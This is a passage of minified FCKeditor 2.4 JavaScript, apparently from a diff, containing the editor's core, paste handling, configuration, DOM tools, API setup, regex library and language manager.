(!FCK.EditorDocument.queryCommandEnabled(A)) return -1;else return FCK.EditorDocument.queryCommandState(A)?1:0;}catch (e){return 0;}},GetNamedCommandValue:function(A){var B='';var C=FCK.GetNamedCommandState(A);if (C==-1) return null;try{B=this.EditorDocument.queryCommandValue(A);}catch(e) {};return B?B:'';},PasteFromWord:function(){FCKDialog.OpenDialog('FCKDialog_Paste',FCKLang.PasteFromWord,'dialog/fck_paste.html',400,330,'Word');},Preview:function(){var A=FCKConfig.ScreenWidth*0.8;var B=FCKConfig.ScreenHeight*0.7;var C=(FCKConfig.ScreenWidth-A)/2;var D=window.open('',null,'toolbar=yes,location=no,status=yes,menubar=yes,scrollbars=yes,resizable=yes,width='+A+',height='+B+',left='+C);var E;if (FCKConfig.FullPage){if (FCK.TempBaseTag.length>0) E=FCK.TempBaseTag+FCK.GetXHTML();else E=FCK.GetXHTML();}else{E=FCKConfig.DocType+'<html dir="'+FCKConfig.ContentLangDirection+'"><head>'+FCK.TempBaseTag+'<title>'+FCKLang.Preview+'</title>'+_FCK_GetEditorAreaStyleTags()+'</head><body>'+FCK.GetXHTML()+'</body></html>';};D.document.write(E);D.document.close();},SwitchEditMode:function(A){var B=(FCK.EditMode==0);var C;if (B){if (!A&&FCKBrowserInfo.IsIE) FCKUndo.SaveUndoStep();C=FCK.GetXHTML(FCKConfig.FormatSource);if (C==null) return false;}else C=this.EditingArea.Textarea.value;FCK.EditMode=B?1:0;FCK.SetHTML(C);FCK.Focus();FCKTools.RunFunction(FCK.ToolbarSet.RefreshModeState,FCK.ToolbarSet);return true;},CreateElement:function(A){var e=FCK.EditorDocument.createElement(A);return FCK.InsertElementAndGetIt(e);},InsertElementAndGetIt:function(e){e.setAttribute('FCKTempLabel','true');this.InsertElement(e);var A=FCK.EditorDocument.getElementsByTagName(e.tagName);for (var i=0;i<A.length;i++){if (A[i].getAttribute('FCKTempLabel')){A[i].removeAttribute('FCKTempLabel');return A[i];}};return null;}};FCK.Events=new FCKEvents(FCK);FCK.GetHTML=FCK.GetXHTML;function _FCK_ProtectEvents_ReplaceTags(A){return A.replace(FCKRegexLib.EventAttributes,_FCK_ProtectEvents_ReplaceEvents);};function _FCK_ProtectEvents_ReplaceEvents(A,B){return ' '+B+'_fckprotectedatt="'+A.ReplaceAll([/&/g,/'/g,/"/g,/=/g,/</g,/>/g,/\r/g,/\n/g],['&apos;','&#39;','&quot;','&#61;','&lt;','&gt;','&#10;','&#13;'])+'"';};function _FCK_ProtectEvents_RestoreEvents(A,B){return B.ReplaceAll([/&#39;/g,/&quot;/g,/&#61;/g,/&lt;/g,/&gt;/g,/&#10;/g,/&#13;/g,/&apos;/g],["'",'"','=','<','>','\r','\n','&']);};function _FCK_EditingArea_OnLoad(){FCK.EditorWindow=FCK.EditingArea.Window;FCK.EditorDocument=FCK.EditingArea.Document;FCK.InitializeBehaviors();if (!FCKConfig.DisableEnterKeyHandler) FCK.EnterKeyHandler=new FCKEnterKey(FCK.EditorWindow,FCKConfig.EnterMode,FCKConfig.ShiftEnterMode);FCK.KeystrokeHandler.AttachToElement(FCK.EditorDocument);FCK.OnAfterSetHTML();if (FCK.Status!=0) return;FCK.ResetIsDirty();FCK.SetStatus(1);};function _FCK_GetEditorAreaStyleTags(){var A='';var B=FCKConfig.EditorAreaCSS;for (var i=0;i<B.length;i++) A+='<link href="'+B[i]+'" rel="stylesheet" type="text/css" />';return A;};function _FCK_KeystrokeHandler_OnKeystroke(A,B){if (FCK.Status!=2) return false;if (FCK.EditMode==0){if (B=='Paste') return!FCK.Events.FireEvent('OnPaste');}else{if (B.Equals('Paste','Undo','Redo','SelectAll')) return false;};var C=FCK.Commands.GetCommand(B);return (C.Execute.apply(C,FCKTools.ArgumentsToArray(arguments,2))!==false);};(function(){var A=window.parent.document;var B=A.getElementById(FCK.Name);var i=0;while (B||i==0){if (B&&B.tagName.toLowerCase().Equals('input','textarea')){FCK.LinkedField=B;break;};B=A.getElementsByName(FCK.Name)[i++];}})();var FCKTempBin={Elements:[],AddElement:function(A){var B=this.Elements.length;this.Elements[B]=A;return B;},RemoveElement:function(A){var e=this.Elements[A];this.Elements[A]=null;return e;},Reset:function(){var i=0;while (i<this.Elements.length) this.Elements[i++]==null;this.Elements.length=0;}};var FCKFocusManager=FCK.FocusManager={IsLocked:false,AddWindow:function(A,B){var C;if (FCKBrowserInfo.IsIE) C=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else C=A.document;FCKTools.AddEventListener(C,'blur',FCKFocusManager_Win_OnBlur);FCKTools.AddEventListener(C,'focus',B?FCKFocusManager_Win_OnFocus_Area:FCKFocusManager_Win_OnFocus);},RemoveWindow:function(A){if (FCKBrowserInfo.IsIE) oTarget=A.nodeType==1?A:A.frameElement?A.frameElement:A.document;else oTarget=A.document;FCKTools.RemoveEventListener(oTarget,'blur',FCKFocusManager_Win_OnBlur);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus_Area);FCKTools.RemoveEventListener(oTarget,'focus',FCKFocusManager_Win_OnFocus);},Lock:function(){this.IsLocked=true;},Unlock:function(){if (this._HasPendingBlur) FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);this.IsLocked=false;},_ResetTimer:function(){this._HasPendingBlur=false;if (this._Timer){window.clearTimeout(this._Timer);delete this._Timer;}}};function FCKFocusManager_Win_OnBlur(){if (typeof(FCK)!='undefined'&&FCK.HasFocus){FCKFocusManager._ResetTimer();FCKFocusManager._Timer=window.setTimeout(FCKFocusManager_FireOnBlur,100);}};function FCKFocusManager_FireOnBlur(){if (FCKFocusManager.IsLocked) FCKFocusManager._HasPendingBlur=true;else{FCK.HasFocus=false;FCK.Events.FireEvent("OnBlur");}};function FCKFocusManager_Win_OnFocus_Area(){FCK.Focus();FCKFocusManager_Win_OnFocus();};function FCKFocusManager_Win_OnFocus(){FCKFocusManager._ResetTimer();if (!FCK.HasFocus&&!FCKFocusManager.IsLocked){FCK.HasFocus=true;FCK.Events.FireEvent("OnFocus");}};
+FCK.Description="FCKeditor for Internet Explorer 5.5+";FCK._GetBehaviorsStyle=function(){if (!FCK._BehaviorsStyle){var A=FCKConfig.FullBasePath;var B='';var C;C='<style type="text/css" _fcktemp="true">INPUT { behavior: url('+A+'css/behaviors/hiddenfield.htc) ; }';if (FCKConfig.ShowBorders) B='url('+A+'css/behaviors/showtableborders.htc)';C+='INPUT,TEXTAREA,SELECT,.FCK__Anchor,.FCK__PageBreak';if (FCKConfig.DisableObjectResizing){C+=',IMG';B+=' url('+A+'css/behaviors/disablehandles.htc)';};C+=' { behavior: url('+A+'css/behaviors/disablehandles.htc) ; }';if (B.length>0) C+='TABLE { behavior: '+B+' ; }';C+='</style>';FCK._BehaviorsStyle=C;};return FCK._BehaviorsStyle;};function Doc_OnMouseUp(){if (FCK.EditorWindow.event.srcElement.tagName=='HTML'){FCK.Focus();FCK.EditorWindow.event.cancelBubble=true;FCK.EditorWindow.event.returnValue=false;}};function Doc_OnPaste(){return (FCK.Status==2&&FCK.Events.FireEvent("OnPaste"));};function Doc_OnKeyDown(){if (FCK.EditorWindow){var e=FCK.EditorWindow.event;if (!(e.keyCode>=16&&e.keyCode<=18)) Doc_OnKeyDownUndo();};return true;};function Doc_OnKeyDownUndo(){if (!FCKUndo.Typing){FCKUndo.SaveUndoStep();FCKUndo.Typing=true;FCK.Events.FireEvent("OnSelectionChange");};FCKUndo.TypesCount++;if (FCKUndo.TypesCount>FCKUndo.MaxTypes){FCKUndo.TypesCount=0;FCKUndo.SaveUndoStep();}};function Doc_OnDblClick(){FCK.OnDoubleClick(FCK.EditorWindow.event.srcElement);FCK.EditorWindow.event.cancelBubble=true;};function Doc_OnSelectionChange(){FCK.Events.FireEvent("OnSelectionChange");};FCK.InitializeBehaviors=function(A){this.EditorDocument.attachEvent('onmouseup',Doc_OnMouseUp);this.EditorDocument.body.attachEvent('onpaste',Doc_OnPaste);FCK.ContextMenu._InnerContextMenu.AttachToElement(FCK.EditorDocument.body);if (FCKConfig.TabSpaces>0){window.FCKTabHTML='';for (i=0;i<FCKConfig.TabSpaces;i++) window.FCKTabHTML+="&nbsp;";};this.EditorDocument.attachEvent("onkeydown",Doc_OnKeyDown);this.EditorDocument.attachEvent("ondblclick",Doc_OnDblClick);this.EditorDocument.attachEvent("onselectionchange",Doc_OnSelectionChange);};FCK.InsertHtml=function(A){A=FCKConfig.ProtectedSource.Protect(A);A=FCK.ProtectUrls(A);FCK.EditorWindow.focus();FCKUndo.SaveUndoStep();var B=FCK.EditorDocument.selection;if (B.type.toLowerCase()=='control') B.clear();B.createRange().pasteHTML(A);FCKDocumentProcessor.Process(FCK.EditorDocument);};FCK.SetInnerHtml=function(A){var B=FCK.EditorDocument;B.body.innerHTML='<div id="__fakeFCKRemove__">&nbsp;</div>'+A;B.getElementById('__fakeFCKRemove__').removeNode(true);};function FCK_PreloadImages(){var A=new FCKImagePreloader();A.AddImages(FCKConfig.PreloadImages);A.AddImages(FCKConfig.SkinPath+'fck_strip.gif');A.OnComplete=LoadToolbarSetup;A.Start();};function Document_OnContextMenu(){return (event.srcElement._FCKShowContextMenu==true);};document.oncontextmenu=Document_OnContextMenu;function FCK_Cleanup(){this.EditorWindow=null;this.EditorDocument=null;};FCK.Paste=function(){if (FCK._PasteIsRunning) return true;if (FCKConfig.ForcePasteAsPlainText){FCK.PasteAsPlainText();return false;};var A=FCK.GetClipboardHTML();if (FCKConfig.AutoDetectPasteFromWord&&A.length>0){var B=/<\w[^>]*(( class="?MsoNormal"?)|(="mso-))/gi;if (B.test(A)){if (confirm(FCKLang.PasteWordConfirm)){FCK.PasteFromWord();return false;}}};FCK._PasteIsRunning=true;FCK.ExecuteNamedCommand('Paste');delete FCK._PasteIsRunning;return false;};FCK.PasteAsPlainText=function(){var A=clipboardData.getData("Text");if (A&&A.length>0){A=FCKTools.HTMLEncode(A).replace(/\n/g,'<BR>');this.InsertHtml(A);}};FCK.InsertElement=function(A){FCK.InsertHtml(A.outerHTML);};FCK.GetClipboardHTML=function(){var A=document.getElementById('___FCKHiddenDiv');if (!A){A=document.createElement('DIV');A.id='___FCKHiddenDiv';var B=A.style;B.position='absolute';B.visibility=B.overflow='hidden';B.width=B.height=1;document.body.appendChild(A);};A.innerHTML='';var C=document.body.createTextRange();C.moveToElementText(A);C.execCommand('Paste');var D=A.innerHTML;A.innerHTML='';return D;};FCK.AttachToOnSelectionChange=function(A){this.Events.AttachEvent('OnSelectionChange',A);};FCK.CreateLink=function(A){FCK.ExecuteNamedCommand('Unlink');if (A.length>0){var B='javascript:void(0);/*'+(new Date().getTime())+'*/';FCK.ExecuteNamedCommand('CreateLink',B);var C=this.EditorDocument.links;for (i=0;i<C.length;i++){var D=C[i];if (D.href==B){var E=D.innerHTML;D.href=A;D.innerHTML=E;return D;}}};return null;};
+var FCKConfig=FCK.Config={};if (document.location.protocol=='file:'){FCKConfig.BasePath=decodeURIComponent(document.location.pathname.substr(1));FCKConfig.BasePath=FCKConfig.BasePath.replace(/\\/gi, '/');FCKConfig.BasePath='file://'+FCKConfig.BasePath.substring(0,FCKConfig.BasePath.lastIndexOf('/')+1);FCKConfig.FullBasePath=FCKConfig.BasePath;}else{FCKConfig.BasePath=document.location.pathname.substring(0,document.location.pathname.lastIndexOf('/')+1);FCKConfig.FullBasePath=document.location.protocol+'//'+document.location.host+FCKConfig.BasePath;};FCKConfig.EditorPath=FCKConfig.BasePath.replace(/editor\/$/,'');try{FCKConfig.ScreenWidth=screen.width;FCKConfig.ScreenHeight=screen.height;}catch (e){FCKConfig.ScreenWidth=800;FCKConfig.ScreenHeight=600;};FCKConfig.ProcessHiddenField=function(){this.PageConfig={};var A=window.parent.document.getElementById(FCK.Name+'___Config');if (!A) return;var B=A.value.split('&');for (var i=0;i<B.length;i++){if (B[i].length==0) continue;var C=B[i].split('=');var D=decodeURIComponent(C[0]);var E=decodeURIComponent(C[1]);if (D=='CustomConfigurationsPath') FCKConfig[D]=E;else if (E.toLowerCase()=="true") this.PageConfig[D]=true;else if (E.toLowerCase()=="false") this.PageConfig[D]=false;else if (E.length>0&&!isNaN(E)) this.PageConfig[D]=parseInt(E,10);else this.PageConfig[D]=E;}};function FCKConfig_LoadPageConfig(){var A=FCKConfig.PageConfig;for (var B in A) FCKConfig[B]=A[B];};function FCKConfig_PreProcess(){var A=FCKConfig;if (A.AllowQueryStringDebug){try{if ((/fckdebug=true/i).test(window.top.location.search)) A.Debug=true;}catch (e) {/*Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error).*/}};if (!A.PluginsPath.EndsWith('/')) A.PluginsPath+='/';if (typeof(A.EditorAreaCSS)=='string') A.EditorAreaCSS=[A.EditorAreaCSS];var B=A.ToolbarComboPreviewCSS;if (!B||B.length==0) A.ToolbarComboPreviewCSS=A.EditorAreaCSS;else if (typeof(B)=='string') A.ToolbarComboPreviewCSS=[B];};FCKConfig.ToolbarSets={};FCKConfig.Plugins={};FCKConfig.Plugins.Items=[];FCKConfig.Plugins.Add=function(A,B,C){FCKConfig.Plugins.Items.AddItem([A,B,C]);};FCKConfig.ProtectedSource={};FCKConfig.ProtectedSource.RegexEntries=[/<!--[\s\S]*?-->/g,/<script[\s\S]*?<\/script>/gi,/<noscript[\s\S]*?<\/noscript>/gi];FCKConfig.ProtectedSource.Add=function(A){this.RegexEntries.AddItem(A);};FCKConfig.ProtectedSource.Protect=function(A){function _Replace(protectedSource){var B=FCKTempBin.AddElement(protectedSource);return '<!--{PS..'+B+'}-->';};for (var i=0;i<this.RegexEntries.length;i++){A=A.replace(this.RegexEntries[i],_Replace);};return A;};FCKConfig.ProtectedSource.Revert=function(A,B){function _Replace(m,opener,index){var C=B?FCKTempBin.RemoveElement(index):FCKTempBin.Elements[index];return FCKConfig.ProtectedSource.Revert(C,B);};return A.replace(/(<|&lt;)!--\{PS..(\d+)\}--(>|&gt;)/g,_Replace);}
+var FCKDebug={};FCKDebug._GetWindow=function(){if (!this.DebugWindow||this.DebugWindow.closed) this.DebugWindow=window.open(FCKConfig.BasePath+'fckdebug.html','FCKeditorDebug','menubar=no,scrollbars=yes,resizable=yes,location=no,toolbar=no,width=600,height=500',true);return this.DebugWindow;};FCKDebug.Output=function(A,B,C){if (!FCKConfig.Debug) return;try{this._GetWindow().Output(A,B);}catch (e) {}};FCKDebug.OutputObject=function(A,B){if (!FCKConfig.Debug) return;try{this._GetWindow().OutputObject(A,B);}catch (e) {}}
+var FCKDomTools={MoveChildren:function(A,B){if (A==B) return;var C;while ((C=A.firstChild)) B.appendChild(A.removeChild(C));},TrimNode:function(A,B){this.LTrimNode(A);this.RTrimNode(A,B);},LTrimNode:function(A){var B;while ((B=A.firstChild)){if (B.nodeType==3){var C=B.nodeValue.LTrim();var D=B.nodeValue.length;if (C.length==0){A.removeChild(B);continue;}else if (C.length<D){B.splitText(D-C.length);A.removeChild(A.firstChild);}};break;}},RTrimNode:function(A,B){var C;while ((C=A.lastChild)){switch (C.nodeType){case 1:if (C.nodeName.toUpperCase()=='BR'&&(B||C.getAttribute('type',2)=='_moz')){A.removeChild(C);continue;};break;case 3:var D=C.nodeValue.RTrim();var E=C.nodeValue.length;if (D.length==0){A.removeChild(C);continue;}else if (D.length<E){C.splitText(D.length);A.removeChild(A.lastChild);}};break;}},RemoveNode:function(A,B){if (B){var C;while ((C=A.firstChild)) A.parentNode.insertBefore(A.removeChild(C),A);};return A.parentNode.removeChild(A);},GetFirstChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.firstChild;while(C){if (C.nodeType==1&&C.tagName.Equals.apply(C.tagName,B)) return C;C=C.nextSibling;};return null;},GetLastChild:function(A,B){if (typeof (B)=='string') B=[B];var C=A.lastChild;while(C){if (C.nodeType==1&&(!B||C.tagName.Equals(B))) return C;C=C.previousSibling;};return null;},GetPreviousSourceElement:function(A,B,C,D){if (!A) return null;if (C&&A.nodeType==1&&A.nodeName.IEquals(C)) return null;if (A.previousSibling) A=A.previousSibling;else return this.GetPreviousSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.lastChild) A=A.lastChild;else return this.GetPreviousSourceElement(A,B,C,D);};return null;},GetNextSourceElement:function(A,B,C,D){if (!A) return null;if (A.nextSibling) A=A.nextSibling;else return this.GetNextSourceElement(A.parentNode,B,C,D);while (A){if (A.nodeType==1){if (C&&A.nodeName.IEquals(C)) break;if (!D||!A.nodeName.IEquals(D)) return A;}else if (B&&A.nodeType==3&&A.nodeValue.RTrim().length>0) break;if (A.firstChild) A=A.firstChild;else return this.GetNextSourceElement(A,B,C,D);};return null;},InsertAfterNode:function(A,B){return A.parentNode.insertBefore(B,A.nextSibling);},GetParents:function(A){var B=[];while (A){B.splice(0,0,A);A=A.parentNode;};return B;},GetIndexOf:function(A){var B=A.parentNode?A.parentNode.firstChild:null;var C=-1;while (B){C++;if (B==A) return C;B=B.nextSibling;};return-1;}};
+var GECKO_BOGUS='<br type="_moz">';var FCKTools={};FCKTools.CreateBogusBR=function(A){var B=A.createElement('br');B.setAttribute('type','_moz');return B;};FCKTools.AppendStyleSheet=function(A,B){if (typeof(B)=='string') return this._AppendStyleSheet(A,B);else{var C=[];for (var i=0;i<B.length;i++) C.push(this._AppendStyleSheet(A,B[i]));return C;}};FCKTools.GetElementDocument=function (A){return A.ownerDocument||A.document;};FCKTools.GetElementWindow=function(A){return this.GetDocumentWindow(this.GetElementDocument(A));};FCKTools.GetDocumentWindow=function(A){if (FCKBrowserInfo.IsSafari&&!A.parentWindow) this.FixDocumentParentWindow(window.top);return A.parentWindow||A.defaultView;};FCKTools.FixDocumentParentWindow=function(A){A.document.parentWindow=A;for (var i=0;i<A.frames.length;i++) FCKTools.FixDocumentParentWindow(A.frames[i]);};FCKTools.HTMLEncode=function(A){if (!A) return '';A=A.replace(/&/g,'&amp;');A=A.replace(/</g,'&lt;');A=A.replace(/>/g,'&gt;');return A;};FCKTools.AddSelectOption=function(A,B,C){var D=FCKTools.GetElementDocument(A).createElement("OPTION");D.text=B;D.value=C;A.options.add(D);return D;};FCKTools.RunFunction=function(A,B,C,D){if (A) this.SetTimeout(A,0,B,C,D);};FCKTools.SetTimeout=function(A,B,C,D,E){return (E||window).setTimeout(function(){if (D) A.apply(C,[].concat(D));else A.apply(C);},B);};FCKTools.SetInterval=function(A,B,C,D,E){return (E||window).setInterval(function(){A.apply(C,D||[]);},B);};FCKTools.ConvertStyleSizeToHtml=function(A){return A.EndsWith('%')?A:parseInt(A,10);};FCKTools.ConvertHtmlSizeToStyle=function(A){return A.EndsWith('%')?A:(A+'px');};FCKTools.GetElementAscensor=function(A,B){var e=A;var C=","+B.toUpperCase()+",";while (e){if (C.indexOf(","+e.nodeName.toUpperCase()+",")!=-1) return e;e=e.parentNode;};return null;};FCKTools.CreateEventListener=function(A,B){var f=function(){var C=[];for (var i=0;i<arguments.length;i++) C.push(arguments[i]);A.apply(this,C.concat(B));};return f;};FCKTools.IsStrictMode=function(A){return ('CSS1Compat'==(A.compatMode||'CSS1Compat'));};FCKTools.ArgumentsToArray=function(A,B,C){B=B||0;C=C||A.length;var D=[];for (var i=B;i<B+C&&i<A.length;i++) D.push(A[i]);return D;};FCKTools.CloneObject=function(A){var B=function() {};B.prototype=A;return new B;};
+FCKTools.CancelEvent=function(e){return false;};FCKTools._AppendStyleSheet=function(A,B){return A.createStyleSheet(B).owningElement;};FCKTools.ClearElementAttributes=function(A){A.clearAttributes();};FCKTools.GetAllChildrenIds=function(A){var B=[];for (var i=0;i<A.all.length;i++){var C=A.all[i].id;if (C&&C.length>0) B[B.length]=C;};return B;};FCKTools.RemoveOuterTags=function(e){e.insertAdjacentHTML('beforeBegin',e.innerHTML);e.parentNode.removeChild(e);};FCKTools.CreateXmlObject=function(A){var B;switch (A){case 'XmlHttp':B=['MSXML2.XmlHttp','Microsoft.XmlHttp'];break;case 'DOMDocument':B=['MSXML2.DOMDocument','Microsoft.XmlDom'];break;};for (var i=0;i<2;i++){try { return new ActiveXObject(B[i]);}catch (e){}};if (FCKLang.NoActiveX){alert(FCKLang.NoActiveX);FCKLang.NoActiveX=null;};return null;};FCKTools.DisableSelection=function(A){A.unselectable='on';var e,i=0;while ((e=A.all[i++])){switch (e.tagName){case 'IFRAME':case 'TEXTAREA':case 'INPUT':case 'SELECT':break;default:e.unselectable='on';}}};FCKTools.GetScrollPosition=function(A){var B=A.document;var C={ X:B.documentElement.scrollLeft,Y:B.documentElement.scrollTop };if (C.X>0||C.Y>0) return C;return { X:B.body.scrollLeft,Y:B.body.scrollTop };};FCKTools.AddEventListener=function(A,B,C){A.attachEvent('on'+B,C);};FCKTools.RemoveEventListener=function(A,B,C){A.detachEvent('on'+B,C);};FCKTools.AddEventListenerEx=function(A,B,C,D){var o={};o.Source=A;o.Params=D||[];o.Listener=function(ev){return C.apply(o.Source,[ev].concat(o.Params));};if (FCK.IECleanup) FCK.IECleanup.AddItem(null,function() { o.Source=null;o.Params=null;});A.attachEvent('on'+B,o.Listener);A=null;D=null;};FCKTools.GetViewPaneSize=function(A){var B;var C=A.document.documentElement;if (C&&C.clientWidth) B=C;else B=top.document.body;if (B) return { Width:B.clientWidth,Height:B.clientHeight };else return { Width:0,Height:0 };};FCKTools.SaveStyles=function(A){var B={};if (A.className.length>0){B.Class=A.className;A.className='';};var C=A.style.cssText;if (C.length>0){B.Inline=C;A.style.cssText='';};return B;};FCKTools.RestoreStyles=function(A,B){A.className=B.Class||'';A.style.cssText=B.Inline||'';};FCKTools.RegisterDollarFunction=function(A){A.$=A.document.getElementById;};FCKTools.AppendElement=function(A,B){return A.appendChild(this.GetElementDocument(A).createElement(B));};FCKTools.ToLowerCase=function(A){return A.toLowerCase();}
+var FCKeditorAPI;function InitializeAPI(){var A=window.parent;if (!(FCKeditorAPI=A.FCKeditorAPI)){var B='var FCKeditorAPI = {Version : "2.4",VersionBuild : "1148",__Instances : new Object(),GetInstance : function( name ){return this.__Instances[ name ];},_FormSubmit : function(){for ( var name in FCKeditorAPI.__Instances ){var oEditor = FCKeditorAPI.__Instances[ name ] ;if ( oEditor.GetParentForm() == this )oEditor.UpdateLinkedField() ;}this._FCKOriginalSubmit() ;},_FunctionQueue   : {Functions : new Array(),IsRunning : false,Add : function( f ){this.Functions.push( f );if ( !this.IsRunning )this.StartNext();},StartNext : function(){var aQueue = this.Functions ;if ( aQueue.length > 0 ){this.IsRunning = true;aQueue[0].call();}else this.IsRunning = false;},Remove : function( f ){var aQueue = this.Functions;var i = 0, fFunc;while( (fFunc = aQueue[ i ]) ){if ( fFunc == f )aQueue.splice( i,1 );i++ ;}this.StartNext();}}}';if (A.execScript) A.execScript(B,'JavaScript');else{if (FCKBrowserInfo.IsGecko10){eval.call(A,B);}else if (FCKBrowserInfo.IsSafari){var C=A.document;var D=C.createElement('script');D.appendChild(C.createTextNode(B));C.documentElement.appendChild(D);}else A.eval(B);};FCKeditorAPI=A.FCKeditorAPI;};FCKeditorAPI.__Instances[FCK.Name]=FCK;};function _AttachFormSubmitToAPI(){var A=FCK.GetParentForm();if (A){FCKTools.AddEventListener(A,'submit',FCK.UpdateLinkedField);if (!A._FCKOriginalSubmit&&(typeof(A.submit)=='function'||(!A.submit.tagName&&!A.submit.length))){A._FCKOriginalSubmit=A.submit;A.submit=FCKeditorAPI._FormSubmit;}}};function FCKeditorAPI_Cleanup(){delete FCKeditorAPI.__Instances[FCK.Name];};FCKTools.AddEventListener(window,'unload',FCKeditorAPI_Cleanup);
+var FCKImagePreloader=function(){this._Images=[];};FCKImagePreloader.prototype={AddImages:function(A){if (typeof(A)=='string') A=A.split(';');this._Images=this._Images.concat(A);},Start:function(){var A=this._Images;this._PreloadCount=A.length;for (var i=0;i<A.length;i++){var B=document.createElement('img');B.onload=B.onerror=_FCKImagePreloader_OnImage;B._FCKImagePreloader=this;B.src=A[i];_FCKImagePreloader_ImageCache.push(B);}}};var _FCKImagePreloader_ImageCache=[];function _FCKImagePreloader_OnImage(){var A=this._FCKImagePreloader;if ((--A._PreloadCount)==0&&A.OnComplete) A.OnComplete();this._FCKImagePreloader=null;}
+var FCKRegexLib={AposEntity:/&apos;/gi,ObjectElements:/^(?:IMG|TABLE|TR|TD|TH|INPUT|SELECT|TEXTAREA|HR|OBJECT|A|UL|OL|LI)$/i,NamedCommands:/^(?:Cut|Copy|Paste|Print|SelectAll|RemoveFormat|Unlink|Undo|Redo|Bold|Italic|Underline|StrikeThrough|Subscript|Superscript|JustifyLeft|JustifyCenter|JustifyRight|JustifyFull|Outdent|Indent|InsertOrderedList|InsertUnorderedList|InsertHorizontalRule)$/i,BodyContents:/([\s\S]*\<body[^\>]*\>)([\s\S]*)(\<\/body\>[\s\S]*)/i,ToReplace:/___fcktoreplace:([\w]+)/ig,MetaHttpEquiv:/http-equiv\s*=\s*["']?([^"' ]+)/i,HasBaseTag:/<base /i,HtmlOpener:/<html\s?[^>]*>/i,HeadOpener:/<head\s?[^>]*>/i,HeadCloser:/<\/head\s*>/i,FCK_Class:/(\s*FCK__[A-Za-z]*\s*)/,ElementName:/(^[a-z_:][\w.\-:]*\w$)|(^[a-z_]$)/,ForceSimpleAmpersand:/___FCKAmp___/g,SpaceNoClose:/\/>/g,EmptyParagraph:/^<(p|div)>\s*<\/\1>$/i,TagBody:/></,StrongOpener:/<STRONG([ \>])/gi,StrongCloser:/<\/STRONG>/gi,EmOpener:/<EM([ \>])/gi,EmCloser:/<\/EM>/gi,GeckoEntitiesMarker:/#\?-\:/g,ProtectUrlsImg:/(?:(<img(?=\s).*?\ssrc=)("|')(.*?)\2)|(?:(<img\s.*?src=)([^"'][^ >]+))/gi,ProtectUrlsA:/(?:(<a(?=\s).*?\shref=)("|')(.*?)\2)|(?:(<a\s.*?href=)([^"'][^ >]+))/gi,Html4DocType:/HTML 4\.0 Transitional/i,DocTypeTag:/<!DOCTYPE[^>]*>/i,TagsWithEvent:/<[^\>]+ on\w+[\s\r\n]*=[\s\r\n]*?('|")[\s\S]+?\>/g,EventAttributes:/\s(on\w+)[\s\r\n]*=[\s\r\n]*?('|")([\s\S]*?)\2/g,ProtectedEvents:/\s\w+_fckprotectedatt="([^"]+)"/g,StyleProperties:/\S+\s*:/g};var FCKListsLib={BlockElements:{ address:1,blockquote:1,div:1,dl:1,fieldset:1,form:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,hr:1,noscript:1,ol:1,p:1,pre:1,script:1,table:1,ul:1 },NonEmptyBlockElements:{ p:1,div:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,address:1,pre:1,ol:1,ul:1,li:1,td:1,th:1 },PathBlockElements:{ address:1,blockquote:1,div:1,dl:1,h1:1,h2:1,h3:1,h4:1,h5:1,h6:1,p:1,pre:1,ol:1,ul:1,li:1,dt:1,de:1 },InlineChildReqElements:{ abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strong:1,sub:1,sup:1,tt:1,'var':1 },EmptyElements:{ base:1,meta:1,link:1,hr:1,br:1,param:1,img:1,area:1,input:1 }};
+var FCKLanguageManager=FCK.Language={AvailableLanguages:{af:'Afrikaans',ar:'Arabic',bg:'Bulgarian',bn:'Bengali/Bangla',bs:'Bosnian',ca:'Catalan',cs:'Czech',da:'Danish',de:'German',el:'Greek',en:'English','en-au':'English (Australia)','en-ca':'English (Canadian)','en-uk':'English (United Kingdom)',eo:'Esperanto',es:'Spanish',et:'Estonian',eu:'Basque',fa:'Persian',fi:'Finnish',fo:'Faroese',fr:'French',gl:'Galician',he:'Hebrew',hi:'Hindi',hr:'Croatian',hu:'Hungarian',it:'Italian',ja:'Japanese',km:'Khmer',ko:'Korean',lt:'Lithuanian',lv:'Latvian',mn:'Mongolian',ms:'Malay',nb:'Norwegian Bokmal',nl:'Dutch',no:'Norwegian',pl:'Polish',pt:'Portuguese (Portugal)','pt-br':'Portuguese (Brazil)',ro:'Romanian',ru:'Russian',sk:'Slovak',sl:'Slovenian',sr:'Serbian (Cyrillic)','sr-latn':'Serbian (Latin)',sv:'Swedish',th:'Thai',tr:'Turkish',uk:'Ukrainian',vi:'Vietnamese',zh:'Chinese Traditional','zh-cn':'Chinese Simplified'},GetActiveLanguage:function(){if (FCKConfig.AutoDetectLanguage){var A;if (navigator.userLanguage) A=navigator.userLanguage.toLowerCase();else if (navigator.language) A=navigator.language.toLowerCase();else{return FCKConfig.DefaultLanguage;};if (A.length>=5){A=A.substr(0,5);if (this.AvailableLanguages[A]) return A;};if (A.length>=2){A=A.substr(0,2);if (this.AvailableLanguages[A]) return A;}};return this.DefaultLanguage;},TranslateElements:function(A,B,C,D){var e=A.getElementsByTagName(B);var E,s;for (var i=0;i<e.length;i++){if ((E=e[i].getAttribute('fckLang'))){if ((s=FCKLang[E])){if (D) s=FCKTools.HTMLEncode(s);eval('e[i].'+C+' = s');}}}},TranslatePage:function(A){this.TranslateElements(A,'INPUT','value');this.TranslateElements(A,'SPAN','innerHTML');this.TranslateElements(A,'LABEL','innerHTML');this.TranslateElements(A,'OPTION','innerHTML',true);},Initialize:function(){if (this.AvailableLanguages[FCKConfig.DefaultLanguage]) this.DefaultLanguage=FCKConfig.DefaultLanguage;else this.DefaultLanguage='en';this.ActiveLanguage={};this.ActiveLanguage.Code=this.GetActiveLanguage();this.ActiveLanguage.Name=this.AvailableLanguages[this.ActiveLanguage.Code];}};
